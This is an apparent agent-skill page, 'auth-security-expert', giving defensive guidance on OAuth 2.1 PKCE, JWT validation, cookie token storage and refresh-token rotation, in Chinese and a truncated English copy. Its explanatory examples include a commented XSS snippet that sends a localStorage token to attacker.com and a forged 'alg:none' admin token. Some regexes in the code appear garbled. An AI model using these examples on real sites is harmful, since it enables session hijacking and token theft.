auth-security-expert by oimiragieo/agent-studio
npx skills add https://github.com/oimiragieo/agent-studio --skill auth-security-expert⚠️ 关键信息:OAuth 2.1 将于 2026 年第二季度成为强制性要求
OAuth 2.1 将十年的安全最佳实践整合到一个规范中(draft-ietf-oauth-v2-1)。Google、Microsoft 和 Okta 已经弃用了传统的 OAuth 2.0 流程,强制执行截止日期为 2026 年第二季度。
1. PKCE 对所有客户端都是必需的
以前是可选的,现在对公共客户端和机密客户端都是强制性的
防止授权码拦截和注入攻击
代码验证器:43-128 个加密随机的 URL 安全字符
代码挑战:BASE64URL(SHA256(code_verifier))
代码挑战方法:必须是 'S256'(SHA-256),不能是 'plain'
// 正确的 PKCE 实现 async function generatePKCE() { const array = new Uint8Array(32); // 256 位 crypto.getRandomValues(array); // 加密安全的随机数 const verifier = base64UrlEncode(array);
const encoder = new TextEncoder(); const hash = await crypto.subtle.digest('SHA-256', encoder.encode(verifier)); const challenge = base64UrlEncode(new Uint8Array(hash));
return { verifier, challenge }; }
// 辅助函数:Base64 URL 编码 function base64UrlEncode(buffer) { return btoa(String.fromCharCode(...new Uint8Array(buffer))) .replace(/+/g, '-') .replace(///g, '_') .replace(/=+$/, ''); }
2. 隐式流程已移除
response_type=token 或 response_type=id_token token - 禁止使用广告位招租
在这里展示您的产品或服务
触达数万 AI 开发者,精准高效
3. 资源所有者密码凭证(ROPC)已移除
grant_type=password - 禁止使用4. URI 查询参数中的承载令牌被禁止
GET /api/resource?access_token=xyz - 禁止使用Authorization: Bearer <token>5. 需要精确的重定向 URI 匹配
不允许通配符:https://*.example.com - 禁止使用
不允许部分匹配或子域通配符
必须执行精确的字符串比较
防止开放重定向漏洞
实现方式:显式注册每个重定向 URI
// 服务器端重定向 URI 验证 function validateRedirectUri(requestedUri, registeredUris) { // 需要精确匹配 - 不允许通配符,不进行规范化 return registeredUris.includes(requestedUri); }
6. 需要刷新令牌保护
攻击方式: 攻击者拦截授权请求并剥离 code_challenge 参数。如果授权服务器允许与 OAuth 2.0(非 PKCE)向后兼容,它将在没有 PKCE 保护的情况下继续执行。攻击者窃取授权码并在不需要 code_verifier 的情况下交换令牌。
防护措施(服务器端):
// 授权端点 - 拒绝没有 PKCE 的请求
app.get('/authorize', (req, res) => {
const { code_challenge, code_challenge_method } = req.query;
// OAuth 2.1:PKCE 是强制性的
if (!code_challenge || !code_challenge_method) {
return res.status(400).json({
error: 'invalid_request',
error_description: '需要 code_challenge(OAuth 2.1)',
});
}
if (code_challenge_method !== 'S256') {
return res.status(400).json({
error: 'invalid_request',
error_description: 'code_challenge_method 必须是 S256',
});
}
// 继续授权流程...
});
// 令牌端点 - 验证 code_verifier
app.post('/token', async (req, res) => {
const { code, code_verifier } = req.body;
const authCode = await db.authorizationCodes.findOne({ code });
if (!authCode.code_challenge) {
return res.status(400).json({
error: 'invalid_grant',
error_description: '授权码未使用 PKCE 签发',
});
}
// 验证 code_verifier 是否匹配 code_challenge
const hash = crypto.createHash('sha256').update(code_verifier).digest();
const challenge = base64UrlEncode(hash);
if (challenge !== authCode.code_challenge) {
return res.status(400).json({
error: 'invalid_grant',
error_description: 'code_verifier 与 code_challenge 不匹配',
});
}
// 签发令牌...
});
客户端实现:
// 步骤 1:生成 PKCE 参数
const { verifier, challenge } = await generatePKCE();
sessionStorage.setItem('pkce_verifier', verifier); // 仅临时存储
sessionStorage.setItem('oauth_state', generateRandomState()); // CSRF 保护
// 步骤 2:重定向到授权端点
const authUrl = new URL('https://auth.example.com/authorize');
authUrl.searchParams.set('response_type', 'code');
authUrl.searchParams.set('client_id', CLIENT_ID);
authUrl.searchParams.set('redirect_uri', REDIRECT_URI); // 必须精确匹配
authUrl.searchParams.set('scope', 'openid profile email');
authUrl.searchParams.set('state', sessionStorage.getItem('oauth_state'));
authUrl.searchParams.set('code_challenge', challenge);
authUrl.searchParams.set('code_challenge_method', 'S256');
window.location.href = authUrl.toString();
// 步骤 3:处理回调(用户授权后)
// URL:https://yourapp.com/callback?code=xyz&state=abc
const urlParams = new URLSearchParams(window.location.search);
const code = urlParams.get('code');
const state = urlParams.get('state');
// 验证 state(CSRF 保护)
if (state !== sessionStorage.getItem('oauth_state')) {
throw new Error('状态不匹配 - 可能存在 CSRF 攻击');
}
// 步骤 4:用授权码交换令牌
const response = await fetch('https://auth.example.com/token', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
grant_type: 'authorization_code',
code: code,
redirect_uri: REDIRECT_URI, // 必须与授权请求匹配
client_id: CLIENT_ID,
code_verifier: sessionStorage.getItem('pkce_verifier'), // 证明持有权
}),
});
const tokens = await response.json();
// 立即清除 PKCE 参数
sessionStorage.removeItem('pkce_verifier');
sessionStorage.removeItem('oauth_state');
// 服务器应将令牌设置为 HttpOnly cookie(参见令牌存储部分)
生产部署前:
⚠️ 关键信息:JWT 漏洞在 OWASP Top 10 中(身份验证破坏)
访问令牌:
刷新令牌:
ID 令牌(OpenID Connect):
✅ 推荐算法:
RS256(RSA 与 SHA-256)
非对称签名(私钥签名,公钥验证)
最适合分布式系统(API 网关无需私钥即可验证)
密钥大小:至少 2048 位(高安全性使用 4096 位)
const jwt = require('jsonwebtoken'); const fs = require('fs');
// 使用私钥签名 const privateKey = fs.readFileSync('private.pem'); const token = jwt.sign(payload, privateKey, { algorithm: 'RS256', expiresIn: '15m', issuer: 'https://auth.example.com', audience: 'api.example.com', keyid: 'key-2024-01', // 密钥轮换跟踪 });
// 使用公钥验证 const publicKey = fs.readFileSync('public.pem'); const decoded = jwt.verify(token, publicKey, { algorithms: ['RS256'], // 仅白名单允许的算法 issuer: 'https://auth.example.com', audience: 'api.example.com', });
ES256(ECDSA 与 SHA-256)
非对称签名(比 RSA 密钥更小,安全性相同)
比 RSA 签名/验证更快
密钥大小:256 位(相当于 3072 位 RSA)
// 生成 ES256 密钥对(一次性设置) const { generateKeyPairSync } = require('crypto'); const { privateKey, publicKey } = generateKeyPairSync('ec', { namedCurve: 'prime256v1', // P-256 曲线 });
const token = jwt.sign(payload, privateKey, { algorithm: 'ES256', expiresIn: '15m', });
⚠️ 谨慎使用:
HS256(HMAC 与 SHA-256)
对称签名(签名和验证使用相同的密钥)
仅适用于单服务器系统(验证需要共享密钥)
切勿向客户端暴露密钥
如果 API 网关/微服务需要验证令牌,切勿使用
// 仅当所有验证都在同一服务器上时使用 HS256 const secret = process.env.JWT_SECRET; // 至少 256 位 const token = jwt.sign(payload, secret, { algorithm: 'HS256', expiresIn: '15m', });
const decoded = jwt.verify(token, secret, { algorithms: ['HS256'], // 仍然需要算法白名单 });
❌ 禁止算法:
none(无签名)
// 切勿接受未签名的令牌
const decoded = jwt.verify(token, null, {
algorithms: ['none'], // ❌ 严重漏洞
});
// 攻击者可以创建令牌:{"alg":"none","typ":"JWT"}.{"sub":"admin"}
防护措施:
// 始终白名单允许的算法,绝不允许 'none'
jwt.verify(token, publicKey, {
algorithms: ['RS256', 'ES256'], // 仅白名单
});
async function validateAccessToken(token) {
try {
// 1. 首先解析而不验证(检查 'alg')
const unverified = jwt.decode(token, { complete: true });
// 2. 拒绝 'none' 算法
if (!unverified || unverified.header.alg === 'none') {
throw new Error('不允许未签名的 JWT');
}
// 3. 使用公钥验证签名
const publicKey = await getPublicKey(unverified.header.kid); // 密钥 ID
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256', 'ES256'], // 白名单预期的算法
issuer: 'https://auth.example.com', // 预期的签发者
audience: 'api.example.com', // 此 API 的标识符
clockTolerance: 30, // 允许 30 秒时钟偏差
complete: false, // 仅返回有效载荷
});
// 4. 验证必需的声明
if (!decoded.sub) throw new Error('缺少 subject (sub) 声明');
if (!decoded.exp) throw new Error('缺少 expiry (exp) 声明');
if (!decoded.iat) throw new Error('缺少 issued-at (iat) 声明');
if (!decoded.jti) throw new Error('缺少 JWT ID (jti) 声明');
// 5. 验证令牌有效期(与 jwt.verify 双重检查)
const now = Math.floor(Date.now() / 1000);
if (decoded.exp <= now) throw new Error('令牌已过期');
if (decoded.nbf && decoded.nbf > now) throw new Error('令牌尚未生效');
// 6. 检查令牌是否被撤销(如果实现了撤销列表)
if (await isTokenRevoked(decoded.jti)) {
throw new Error('令牌已被撤销');
}
// 7. 验证自定义声明
if (decoded.scope && !decoded.scope.includes('read:resource')) {
throw new Error('权限不足');
}
return decoded;
} catch (error) {
// 如果任何验证失败,切勿使用该令牌
console.error('JWT 验证失败:', error.message);
throw new Error('无效令牌');
}
}
注册声明(标准):
iss(签发者):授权服务器 URL - 验证sub(主体):用户 ID(唯一,不可变) - 必需aud(受众):API/服务标识符 - 验证exp(过期时间):Unix 时间戳 - 必需,访问令牌 ≤15 分钟iat(签发时间):Unix 时间戳 - 必需nbf(生效时间):Unix 时间戳 - 可选jti(JWT ID):唯一令牌 ID - 撤销所必需自定义声明(应用特定):
const payload = {
// 标准声明
iss: 'https://auth.example.com',
sub: 'user_12345',
aud: 'api.example.com',
exp: Math.floor(Date.now() / 1000) + 15 * 60, // 15 分钟
iat: Math.floor(Date.now() / 1000),
jti: crypto.randomUUID(),
// 自定义声明
scope: 'read:profile write:profile admin:users',
role: 'admin',
tenant_id: 'tenant_789',
email: 'user@example.com', // 访问令牌中可以包含,不敏感
// 切勿包含:密码、SSN、信用卡等。
};
⚠️ 切勿在 JWT 中存储敏感数据:
✅ 正确方式:HttpOnly Cookie(服务器端)
// 服务器在 OAuth 回调后将令牌设置为 HttpOnly cookie
app.post('/auth/callback', async (req, res) => {
const { access_token, refresh_token } = await exchangeCodeForTokens(req.body.code);
// 访问令牌 cookie
res.cookie('access_token', access_token, {
httpOnly: true, // JavaScript 无法访问(XSS 防护)
secure: true, // 仅 HTTPS
sameSite: 'strict', // CSRF 防护(阻止跨站请求)
maxAge: 15 * 60 * 1000, // 15 分钟
path: '/',
domain: '.example.com', // 允许子域
});
// 刷新令牌 cookie(限制更严格)
res.cookie('refresh_token', refresh_token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 天
path: '/auth/refresh', // 仅刷新端点可访问
domain: '.example.com',
});
res.json({ success: true });
});
// 客户端发起认证请求(浏览器自动发送 cookie)
fetch('https://api.example.com/user/profile', {
credentials: 'include', // 请求中包含 cookie
});
❌ 错误方式:localStorage/sessionStorage
// ❌ 易受 XSS 攻击
localStorage.setItem('access_token', token);
sessionStorage.setItem('access_token', token);
// 任何 XSS 漏洞(即使是第三方脚本)都可以窃取令牌:
// <script>
// const token = localStorage.getItem('access_token');
// fetch('https://attacker.com/steal?token=' + token);
// </script>
为什么 HttpOnly Cookie 能防止 XSS 窃取:
httpOnly: true 使 cookie 对 JavaScript 不可访问(document.cookie 返回空)攻击方式:刷新令牌窃取 如果攻击者窃取刷新令牌,他们可以在刷新令牌过期(数天/数周)前生成无限数量的访问令牌。
防御措施:轮换 + 重用检测 每次刷新都会生成新的刷新令牌并使旧的失效。如果旧令牌再次被使用,该用户的所有令牌都会被撤销(表示可能发生窃取)。
服务器端实现:
app.post('/auth/refresh', async (req, res) => {
const oldRefreshToken = req.cookies.refresh_token;
try {
// 1. 验证刷新令牌(检查签名、过期时间)
const decoded = jwt.verify(oldRefreshToken, publicKey, {
algorithms: ['RS256'],
issuer: 'https://auth.example.com',
});
// 2. 在数据库中查找令牌(我们存储哈希后的刷新令牌)
const tokenHash = crypto.createHash('sha256').update(oldRefreshToken).digest('hex');
const tokenRecord = await db.refreshTokens.findOne({
tokenHash,
userId: decoded.sub,
});
if (!tokenRecord) {
throw new Error('未找到刷新令牌');
}
// 3. 关键:检测令牌重用(可能发生窃取)
if (tokenRecord.isUsed) {
// 令牌已被使用 - 这是重用攻击
await db.refreshTokens.deleteMany({ userId: decoded.sub }); // 撤销所有令牌
await logSecurityEvent('REFRESH_TOKEN_REUSE_DETECTED', {
userId: decoded.sub,
tokenId: decoded.jti,
ip: req.ip,
userAgent: req.headers['user-agent'],
});
// 向用户邮箱发送警报
await sendSecurityAlert(decoded.sub, '检测到令牌窃取 - 所有会话已终止');
return res.status(401).json({
error: 'token_reuse',
error_description: '检测到刷新令牌重用 - 所有会话已撤销',
});
}
// 4. 将旧令牌标记为已使用(在签发新令牌前执行原子操作)
await db.refreshTokens.updateOne(
{ tokenHash },
{
$set: { isUsed: true, lastUsedAt: new Date() },
}
);
// 5. 生成新令牌
const newAccessToken = jwt.sign(
{
sub: decoded.sub,
scope: decoded.scope,
exp: Math.floor(Date.now() / 1000) + 15 * 60,
},
privateKey,
{ algorithm: 'RS256' }
);
const newRefreshToken = jwt.sign(
{
sub: decoded.sub,
scope: decoded.scope,
exp: Math.floor(Date.now() / 1000) + 7 * 24 * 60 * 60, // 7 天
jti: crypto.randomUUID(),
},
privateKey,
{ algorithm: 'RS256' }
);
// 6. 存储新的刷新令牌(哈希后)
const newTokenHash = crypto.createHash('sha256').update(newRefreshToken).digest('hex');
await db.refreshTokens.create({
userId: decoded.sub,
tokenHash: newTokenHash,
isUsed: false,
expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
createdAt: new Date(),
userAgent: req.headers['user-agent'],
ipAddress: req.ip,
});
// 7. 将新令牌设置为 cookie
res.cookie('access_token', newAccessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000,
});
res.cookie('refresh_token', newRefreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000,
path: '/auth/refresh',
});
res.json({ success: true });
} catch (error) {
// 清除无效的 cookie
res.clearCookie('refresh_token');
res.status(401).json({ error: 'invalid_token' });
}
});
数据库模式(刷新令牌):
{
userId: 'user_12345',
tokenHash: 'sha256_hash_of_refresh_token', // 切勿存储明文
isUsed: false, // 当令牌用于刷新时设置为 true
expiresAt: ISODate('2026-02-01T00:00:00Z'),
createdAt: ISODate('2026-01-25T00:00:00Z'),
lastUsedAt: null, // isUsed 设置为 true 时更新
userAgent: 'Mozilla/5.0...',
ipAddress: '192.168.1.1',
jti: 'uuid-v4', // 与 JWT 'jti' 声明匹配
}
推荐:Argon2id
密码哈希竞赛的获胜者(2015 年)
抗 GPU 破解和侧信道攻击
可配置的内存、时间和并行度参数
// Argon2id 示例(Node.js) import argon2 from 'argon2';
// 哈希密码 const hash = await argon2.hash(password, { type: argon2.argon2id, memoryCost: 19456, // 19 MiB timeCost: 2, parallelism: 1, });
// 验证密码 const isValid = await argon2.verify(hash, password);
可接受的替代方案:bcrypt
仍然安全,但在相同安全级别下比 Argon2id 慢
工作因子:最小 12(2026 年推荐 14+)
// bcrypt 示例 import bcrypt from 'bcryptjs';
const hash = await bcrypt.hash(password, 14); // 成本因子 14 const isValid = await bcrypt.compare(password, hash);
切勿使用:
MFA 类型:
TOTP(基于时间的一次性密码)
WebAuthn/FIDO2(通行密钥)
基于短信的 MFA(传统 - 不推荐)
备用代码
实现最佳实践:
为什么使用通行密钥:
实现:
@simplewebauthn/server(Node.js)或类似库WebAuthn 注册流程:
WebAuthn 认证流程:
安全会话实践:
Set-Cookie: session=...; Secure; HttpOnly; SameSite=Strict会话存储:
必要的 HTTP 安全头部:
Strict-Transport-Security: max-age=31536000; includeSubDomains(HSTS)X-Content-Type-Options: nosniffX-Frame-Options: DENY 或 SAMEORIGINContent-Security-Policy: default-src 'self'X-XSS-Protection: 1; mode=block(旧版支持)注入攻击:
跨站脚本(XSS):
eval() 或 innerHTML 与用户输入一起使用跨站请求伪造(CSRF):
身份验证破坏:
此专家技能整合了 1 项独立技能:
security-architect - 威胁建模(STRIDE)、OWASP Top 10 和安全架构模式| 反模式 | 失败原因 | 正确方法 |
|---|---|---|
| JWT 存储在 localStorage 中 | 可被 XSS 访问;任何脚本都可以窃取令牌 | 使用 httpOnly 安全 cookie |
| 无 JWT 签名验证 | 伪造的令牌被静默接受 | 始终调用 verify(),而不仅仅是 decode() |
| 使用客户端密钥的 HS256 | 密钥嵌入在客户端代码中;容易被提取 | 使用服务器端私钥的 RS256/ES256 |
| 隐式 OAuth 授权 | 令牌在 URL 片段中通过 referrer 头部泄露 | 授权码 + PKCE 流程 |
| 访问令牌有效期 >15 分钟 | 被盗令牌在泄露后有效时间过长 | 将 exp 设置为 5-15 分钟;使用刷新令牌轮换 |
开始前:
cat .claude/context/memory/learnings.md
完成后: 记录发现的任何新模式或例外情况。
假设中断:您的上下文可能会重置。如果不在记忆中,那就没有发生过。
每周安装
70
仓库
GitHub 星标
19
首次出现
2026 年 1 月 27 日
安全审计
安装于
github-copilot68
gemini-cli67
codex67
opencode67
kimi-cli66
amp66
⚠️ CRITICAL: OAuth 2.1 becomes MANDATORY Q2 2026
OAuth 2.1 consolidates a decade of security best practices into a single specification (draft-ietf-oauth-v2-1). Google, Microsoft, and Okta have already deprecated legacy OAuth 2.0 flows with enforcement deadlines in Q2 2026.
1. PKCE is REQUIRED for ALL Clients
Previously optional, now MANDATORY for public AND confidential clients
Prevents authorization code interception and injection attacks
Code verifier: 43-128 cryptographically random URL-safe characters
Code challenge: BASE64URL(SHA256(code_verifier))
Code challenge method: MUST be 'S256' (SHA-256), not 'plain'
// Correct PKCE implementation async function generatePKCE() { const array = new Uint8Array(32); // 256 bits crypto.getRandomValues(array); // Cryptographically secure random const verifier = base64UrlEncode(array);
const encoder = new TextEncoder(); const hash = await crypto.subtle.digest('SHA-256', encoder.encode(verifier)); const challenge = base64UrlEncode(new Uint8Array(hash));
return { verifier, challenge }; }
// Helper: Base64 URL encoding function base64UrlEncode(buffer) { return btoa(String.fromCharCode(...new Uint8Array(buffer))) .replace(/+/g, '-') .replace(///g, '_') .replace(/=+$/, ''); }
2. Implicit Flow REMOVED
response_type=token or response_type=id_token token - FORBIDDEN3. Resource Owner Password Credentials (ROPC) REMOVED
grant_type=password - FORBIDDEN4. Bearer Tokens in URI Query Parameters FORBIDDEN
GET /api/resource?access_token=xyz - FORBIDDENAuthorization: Bearer <token>5. Exact Redirect URI Matching REQUIRED
No wildcards: https://*.example.com - FORBIDDEN
No partial matches or subdomain wildcards
MUST perform exact string comparison
Prevents open redirect vulnerabilities
Implementation : Register each redirect URI explicitly
// Server-side redirect URI validation function validateRedirectUri(requestedUri, registeredUris) { // EXACT match required - no wildcards, no normalization return registeredUris.includes(requestedUri); }
6. Refresh Token Protection REQUIRED
The Attack: Attacker intercepts authorization request and strips code_challenge parameters. If authorization server allows backward compatibility with OAuth 2.0 (non-PKCE), it proceeds without PKCE protection. Attacker steals authorization code and exchanges it without needing the code_verifier.
Prevention (Server-Side):
// Authorization endpoint - REJECT requests without PKCE
app.get('/authorize', (req, res) => {
const { code_challenge, code_challenge_method } = req.query;
// OAuth 2.1: PKCE is MANDATORY
if (!code_challenge || !code_challenge_method) {
return res.status(400).json({
error: 'invalid_request',
error_description: 'code_challenge required (OAuth 2.1)',
});
}
if (code_challenge_method !== 'S256') {
return res.status(400).json({
error: 'invalid_request',
error_description: 'code_challenge_method must be S256',
});
}
// Continue authorization flow...
});
// Token endpoint - VERIFY code_verifier
app.post('/token', async (req, res) => {
const { code, code_verifier } = req.body;
const authCode = await db.authorizationCodes.findOne({ code });
if (!authCode.code_challenge) {
return res.status(400).json({
error: 'invalid_grant',
error_description: 'Authorization code was not issued with PKCE',
});
}
// Verify code_verifier matches code_challenge
const hash = crypto.createHash('sha256').update(code_verifier).digest();
const challenge = base64UrlEncode(hash);
if (challenge !== authCode.code_challenge) {
return res.status(400).json({
error: 'invalid_grant',
error_description: 'code_verifier does not match code_challenge',
});
}
// Issue tokens...
});
Client-Side Implementation:
// Step 1: Generate PKCE parameters
const { verifier, challenge } = await generatePKCE();
sessionStorage.setItem('pkce_verifier', verifier); // Temporary only
sessionStorage.setItem('oauth_state', generateRandomState()); // CSRF protection
// Step 2: Redirect to authorization endpoint
const authUrl = new URL('https://auth.example.com/authorize');
authUrl.searchParams.set('response_type', 'code');
authUrl.searchParams.set('client_id', CLIENT_ID);
authUrl.searchParams.set('redirect_uri', REDIRECT_URI); // MUST match exactly
authUrl.searchParams.set('scope', 'openid profile email');
authUrl.searchParams.set('state', sessionStorage.getItem('oauth_state'));
authUrl.searchParams.set('code_challenge', challenge);
authUrl.searchParams.set('code_challenge_method', 'S256');
window.location.href = authUrl.toString();
// Step 3: Handle callback (after user authorizes)
// URL: https://yourapp.com/callback?code=xyz&state=abc
const urlParams = new URLSearchParams(window.location.search);
const code = urlParams.get('code');
const state = urlParams.get('state');
// Validate state (CSRF protection)
if (state !== sessionStorage.getItem('oauth_state')) {
throw new Error('State mismatch - possible CSRF attack');
}
// Step 4: Exchange code for tokens
const response = await fetch('https://auth.example.com/token', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: new URLSearchParams({
grant_type: 'authorization_code',
code: code,
redirect_uri: REDIRECT_URI, // MUST match authorization request
client_id: CLIENT_ID,
code_verifier: sessionStorage.getItem('pkce_verifier'), // Prove possession
}),
});
const tokens = await response.json();
// Clear PKCE parameters immediately
sessionStorage.removeItem('pkce_verifier');
sessionStorage.removeItem('oauth_state');
// Server should set tokens as HttpOnly cookies (see Token Storage section)
Before Production Deployment:
⚠️ CRITICAL: JWT vulnerabilities are in OWASP Top 10 (Broken Authentication)
Access Tokens:
Refresh Tokens:
ID Tokens (OpenID Connect):
✅ RECOMMENDED Algorithms:
RS256 (RSA with SHA-256)
Asymmetric signing (private key signs, public key verifies)
Best for distributed systems (API gateway can verify without private key)
Key size: 2048-bit minimum (4096-bit for high security)
const jwt = require('jsonwebtoken'); const fs = require('fs');
// Sign with private key const privateKey = fs.readFileSync('private.pem'); const token = jwt.sign(payload, privateKey, { algorithm: 'RS256', expiresIn: '15m', issuer: 'https://auth.example.com', audience: 'api.example.com', keyid: 'key-2024-01', // Key rotation tracking });
// Verify with public key const publicKey = fs.readFileSync('public.pem'); const decoded = jwt.verify(token, publicKey, { algorithms: ['RS256'], // Whitelist ONLY expected algorithm issuer: 'https://auth.example.com', audience: 'api.example.com', });
ES256 (ECDSA with SHA-256)
Asymmetric signing (smaller keys than RSA, same security)
Faster signing/verification than RSA
Key size: 256-bit (equivalent to 3072-bit RSA)
// Generate ES256 key pair (one-time setup) const { generateKeyPairSync } = require('crypto'); const { privateKey, publicKey } = generateKeyPairSync('ec', { namedCurve: 'prime256v1', // P-256 curve });
const token = jwt.sign(payload, privateKey, { algorithm: 'ES256', expiresIn: '15m', });
⚠️ USE WITH CAUTION:
HS256 (HMAC with SHA-256)
Symmetric signing (same secret for sign and verify)
ONLY for single-server systems (secret must be shared to verify)
NEVER expose secret to clients
NEVER use if API gateway/microservices need to verify tokens
// Only use HS256 if ALL verification happens on same server const secret = process.env.JWT_SECRET; // 256-bit minimum const token = jwt.sign(payload, secret, { algorithm: 'HS256', expiresIn: '15m', });
const decoded = jwt.verify(token, secret, { algorithms: ['HS256'], // STILL whitelist algorithm });
❌ FORBIDDEN Algorithms:
none (No Signature)
// NEVER accept unsigned tokens
const decoded = jwt.verify(token, null, {
algorithms: ['none'], // ❌ CRITICAL VULNERABILITY
});
// Attacker can create token: {"alg":"none","typ":"JWT"}.{"sub":"admin"}
Prevention:
// ALWAYS whitelist allowed algorithms, NEVER allow 'none'
jwt.verify(token, publicKey, {
algorithms: ['RS256', 'ES256'], // Whitelist only
});
async function validateAccessToken(token) {
try {
// 1. Parse without verification first (to check 'alg')
const unverified = jwt.decode(token, { complete: true });
// 2. Reject 'none' algorithm
if (!unverified || unverified.header.alg === 'none') {
throw new Error('Unsigned JWT not allowed');
}
// 3. Verify signature with public key
const publicKey = await getPublicKey(unverified.header.kid); // Key ID
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256', 'ES256'], // Whitelist expected algorithms
issuer: 'https://auth.example.com', // Expected issuer
audience: 'api.example.com', // This API's identifier
clockTolerance: 30, // Allow 30s clock skew
complete: false, // Return payload only
});
// 4. Validate required claims
if (!decoded.sub) throw new Error('Missing subject (sub) claim');
if (!decoded.exp) throw new Error('Missing expiry (exp) claim');
if (!decoded.iat) throw new Error('Missing issued-at (iat) claim');
if (!decoded.jti) throw new Error('Missing JWT ID (jti) claim');
// 5. Validate token lifetime (belt-and-suspenders with jwt.verify)
const now = Math.floor(Date.now() / 1000);
if (decoded.exp <= now) throw new Error('Token expired');
if (decoded.nbf && decoded.nbf > now) throw new Error('Token not yet valid');
// 6. Check token revocation (if implementing revocation list)
if (await isTokenRevoked(decoded.jti)) {
throw new Error('Token has been revoked');
}
// 7. Validate custom claims
if (decoded.scope && !decoded.scope.includes('read:resource')) {
throw new Error('Insufficient permissions');
}
return decoded;
} catch (error) {
// NEVER use the token if ANY validation fails
console.error('JWT validation failed:', error.message);
throw new Error('Invalid token');
}
}
Registered Claims (Standard):
iss (issuer): Authorization server URL - VALIDATEsub (subject): User ID (unique, immutable) - REQUIREDaud (audience): API/service identifier - VALIDATEexp (expiration): Unix timestamp - REQUIRED, ≤15 min for access tokensiat (issued at): Unix timestamp - REQUIREDnbf (not before): Unix timestamp - OPTIONALjti (JWT ID): Unique token ID - REQUIRED for revocationCustom Claims (Application-Specific):
const payload = {
// Standard claims
iss: 'https://auth.example.com',
sub: 'user_12345',
aud: 'api.example.com',
exp: Math.floor(Date.now() / 1000) + 15 * 60, // 15 minutes
iat: Math.floor(Date.now() / 1000),
jti: crypto.randomUUID(),
// Custom claims
scope: 'read:profile write:profile admin:users',
role: 'admin',
tenant_id: 'tenant_789',
email: 'user@example.com', // OK for access token, not sensitive
// NEVER include: password, SSN, credit card, etc.
};
⚠️ NEVER Store Sensitive Data in JWT:
✅ CORRECT: HttpOnly Cookies (Server-Side)
// Server sets tokens as HttpOnly cookies after OAuth callback
app.post('/auth/callback', async (req, res) => {
const { access_token, refresh_token } = await exchangeCodeForTokens(req.body.code);
// Access token cookie
res.cookie('access_token', access_token, {
httpOnly: true, // Cannot be accessed by JavaScript (XSS protection)
secure: true, // HTTPS only
sameSite: 'strict', // CSRF protection (blocks cross-site requests)
maxAge: 15 * 60 * 1000, // 15 minutes
path: '/',
domain: '.example.com', // Allow subdomains
});
// Refresh token cookie (more restricted)
res.cookie('refresh_token', refresh_token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
path: '/auth/refresh', // ONLY accessible by refresh endpoint
domain: '.example.com',
});
res.json({ success: true });
});
// Client makes authenticated requests (browser sends cookie automatically)
fetch('https://api.example.com/user/profile', {
credentials: 'include', // Include cookies in request
});
❌ WRONG: localStorage/sessionStorage
// ❌ VULNERABLE TO XSS ATTACKS
localStorage.setItem('access_token', token);
sessionStorage.setItem('access_token', token);
// Any XSS vulnerability (even third-party script) can steal tokens:
// <script>
// const token = localStorage.getItem('access_token');
// fetch('https://attacker.com/steal?token=' + token);
// </script>
Why HttpOnly Cookies Prevent XSS Theft:
httpOnly: true makes cookie inaccessible to JavaScript (document.cookie returns empty)The Attack: Refresh Token Theft If attacker steals refresh token, they can generate unlimited access tokens until refresh token expires (days/weeks).
The Defense: Rotation + Reuse Detection Every refresh generates new refresh token and invalidates old one. If old token is used again, ALL tokens for that user are revoked (signals possible theft).
Server-Side Implementation:
app.post('/auth/refresh', async (req, res) => {
const oldRefreshToken = req.cookies.refresh_token;
try {
// 1. Validate refresh token (check signature, expiry)
const decoded = jwt.verify(oldRefreshToken, publicKey, {
algorithms: ['RS256'],
issuer: 'https://auth.example.com',
});
// 2. Look up token in database (we store hashed refresh tokens)
const tokenHash = crypto.createHash('sha256').update(oldRefreshToken).digest('hex');
const tokenRecord = await db.refreshTokens.findOne({
tokenHash,
userId: decoded.sub,
});
if (!tokenRecord) {
throw new Error('Refresh token not found');
}
// 3. CRITICAL: Detect token reuse (possible theft)
if (tokenRecord.isUsed) {
// Token was already used - this is a REUSE ATTACK
await db.refreshTokens.deleteMany({ userId: decoded.sub }); // Revoke ALL tokens
await logSecurityEvent('REFRESH_TOKEN_REUSE_DETECTED', {
userId: decoded.sub,
tokenId: decoded.jti,
ip: req.ip,
userAgent: req.headers['user-agent'],
});
// Send alert to user's email
await sendSecurityAlert(decoded.sub, 'Token theft detected - all sessions terminated');
return res.status(401).json({
error: 'token_reuse',
error_description: 'Refresh token reuse detected - all sessions revoked',
});
}
// 4. Mark old token as used (ATOMIC operation before issuing new tokens)
await db.refreshTokens.updateOne(
{ tokenHash },
{
$set: { isUsed: true, lastUsedAt: new Date() },
}
);
// 5. Generate new tokens
const newAccessToken = jwt.sign(
{
sub: decoded.sub,
scope: decoded.scope,
exp: Math.floor(Date.now() / 1000) + 15 * 60,
},
privateKey,
{ algorithm: 'RS256' }
);
const newRefreshToken = jwt.sign(
{
sub: decoded.sub,
scope: decoded.scope,
exp: Math.floor(Date.now() / 1000) + 7 * 24 * 60 * 60, // 7 days
jti: crypto.randomUUID(),
},
privateKey,
{ algorithm: 'RS256' }
);
// 6. Store new refresh token (hashed)
const newTokenHash = crypto.createHash('sha256').update(newRefreshToken).digest('hex');
await db.refreshTokens.create({
userId: decoded.sub,
tokenHash: newTokenHash,
isUsed: false,
expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000),
createdAt: new Date(),
userAgent: req.headers['user-agent'],
ipAddress: req.ip,
});
// 7. Set new tokens as cookies
res.cookie('access_token', newAccessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000,
});
res.cookie('refresh_token', newRefreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000,
path: '/auth/refresh',
});
res.json({ success: true });
} catch (error) {
// Clear invalid cookies
res.clearCookie('refresh_token');
res.status(401).json({ error: 'invalid_token' });
}
});
Database Schema (Refresh Tokens):
